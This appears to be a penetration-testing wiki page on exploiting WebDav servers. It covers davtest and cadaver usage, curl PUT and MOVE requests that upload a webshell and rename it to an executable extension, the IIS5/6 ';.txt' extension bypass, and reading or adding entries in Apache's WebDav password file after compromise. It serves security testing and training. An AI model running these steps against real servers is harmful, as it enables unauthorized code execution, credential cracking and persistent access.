# WebDav
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{% endhint %}
When dealing with a **HTTP Server with WebDav** enabled, it's possible to **manipulate files** if you have the right **credentials**, usually verified through **HTTP Basic Authentication**. Gaining control over such a server often involves the **upload and execution of a webshell**.
Access to the WebDav server typically requires **valid credentials**, with [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) being a common method to acquire them.
To overcome restrictions on file uploads, especially those preventing the execution of server-side scripts, you might:
* **Upload** files with **executable extensions** directly if not restricted.
* **Rename** uploaded non-executable files (like .txt) to an executable extension.
* **Copy** uploaded non-executable files, changing their extension to one that is executable.
## DavTest
**Davtest** try to **upload several files with different extensions** and **check** if the extension is **executed**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension
```
Output sample:
.png>)
This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web.
## Cadaver
You can use this tool to **connect to the WebDav** server and perform actions (like **upload**, **move** or **delete**) **manually**.
```
cadaver
```
## PUT request
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE request
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
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## IIS5/6 WebDav Vulnerability
This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename** files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed** as if it were a .asp file (you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**).
Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ".asp;.txt"** file. An accessing that file through the web server, it will be **executed** (cadaver will said that the move action didn't work, but it did).
.png>)
## Post credentials
If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\
&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
Inside it you could find something like:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
As you can see there is the files with the valid **credentials** for the **webdav** server:
```
/etc/apache2/users.password
```
Inside this type of files you will find the **username** and a **hash** of the password. These are the credentials the webdav server is using to authenticate users.
You can try to **crack** them, or to **add more** if for some reason you wan to **access** the **webdav** server:
```bash
htpasswd /etc/apache2/users.password #You will be prompted for the password
```
To check if the new credentials are working you can do:
```bash
wget --user --ask-password http://domain/path/to/webdav/ -O - -q
```
## References
* [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
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{% endhint %}
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